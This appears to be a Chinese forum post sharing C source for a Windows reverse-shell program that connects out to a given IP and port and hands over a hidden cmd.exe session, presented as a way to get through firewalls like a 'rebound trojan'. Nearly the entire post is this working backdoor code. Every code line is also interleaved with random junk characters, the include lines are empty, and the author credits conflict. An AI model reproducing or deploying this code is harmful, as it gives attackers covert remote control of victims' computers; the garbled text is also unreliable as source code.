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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /Q*cyLv  
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/* ============================== D`fi\A  
Rebound port in Windows NT .BqS E   
By wind,2006/7 9G)q U  
===============================*/ `|d&ta[{  
#include ?> SH`\  
#include o:C],G_  
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#pragma comment(lib,"wsock32.lib") Z2soy-  
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void OutputShell(); +' f38D*  
SOCKET sClient; '@ C\,E  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pGhA  
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void main(int argc,char **argv) `Z!NOC  
{ "i3Q)$"S  
WSADATA stWsaData; FdVWj 5 $a  
int nRet; 1> wt  
SOCKADDR_IN stSaiClient,stSaiServer; r -SQk>Y}  
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if(argc != 3) 2O~I.(9(  
{ km+}./@  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ls~F4ar$/  
return; EPMdR66  
} *[?DnF+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); M.QXwIT  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JkMf+ !  
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stSaiClient.sin_family = AF_INET; zZ\2fKrpg  
stSaiClient.sin_port = htons(0); A! j4;=}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g6=w MRt[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q?\rwnW?U  
{ I];Hx'/<~  
printf("Bind Socket Failed!\n");  V6{P41_  
return; T-L; iH~0  
} ,0=@cJ  
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stSaiServer.sin_family = AF_INET; B U^3Ux$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,'69RL?-Wg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u  teI[Q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {}TR'Y4  
{ R0v5mD$:G  
printf("Connect Error!"); hiN6]jL|O  
return; -{A!zTw1w  
} 9G'Q3? z  
OutputShell(); D{!NTr  
} "77 j(Vs9  
!SFF 79$c  
void OutputShell() <Hq|<^_K  
{ X(;,-7Jw  
char szBuff[1024]; T;u>]"S  
SECURITY_ATTRIBUTES stSecurityAttributes; !pNY`sw}  
OSVERSIONINFO stOsversionInfo; 8yDu(.Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Lf:TQB  
STARTUPINFO stStartupInfo; C$1}c[  
char *szShell; k^IC"p Uc  
PROCESS_INFORMATION stProcessInformation; XdDy0e4{%<  
unsigned long lBytesRead; .CL\``  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~Z'3(n*9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K8l|qe  
stSecurityAttributes.lpSecurityDescriptor = 0; U_UX *  
stSecurityAttributes.bInheritHandle = TRUE; . d;XLS~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <R.5 Ma  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N:y3tpG  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LI&+5`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3PEv.hGx  
stStartupInfo.wShowWindow = SW_HIDE; ZMHb  
stStartupInfo.hStdInput = hReadPipe; cI O7RD$8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [7~ !M*o9  
JRm:hf'  
GetVersionEx(&stOsversionInfo); s9wc ZO  
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switch(stOsversionInfo.dwPlatformId) hoc$aqP6pp  
{ <Cvlz^K[  
case 1: ueiXY|  
szShell = "command.com"; Q`Q%;%t  
break; 'wd-!aZAd  
default: SY` U]-h  
szShell = "cmd.exe"; IQS:tL/  
break; T>&d/$;]  
} wnL\.%Y^  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 24)3^1P\V  
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send(sClient,szMsg,77,0); B?nQUIb:  
while(1) }' mBqn  
{ 6BihZ|H04  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m"~^-mJ-  
if(lBytesRead) 9ZL3p!  
{ @LS*WJ< w-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8"4&IX  
send(sClient,szBuff,lBytesRead,0); lEBt<  
} ,OX(z=i_  
else o yBBW?m  
{ ;~$_A4;  
lBytesRead=recv(sClient,szBuff,1024,0); Hb KJ&^  
if(lBytesRead<=0) break; SSKn7`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -,Q !:  
} }jM&GH1  
} /#z5bo  
 eU"!X9  
return;  $&96qsr  
}
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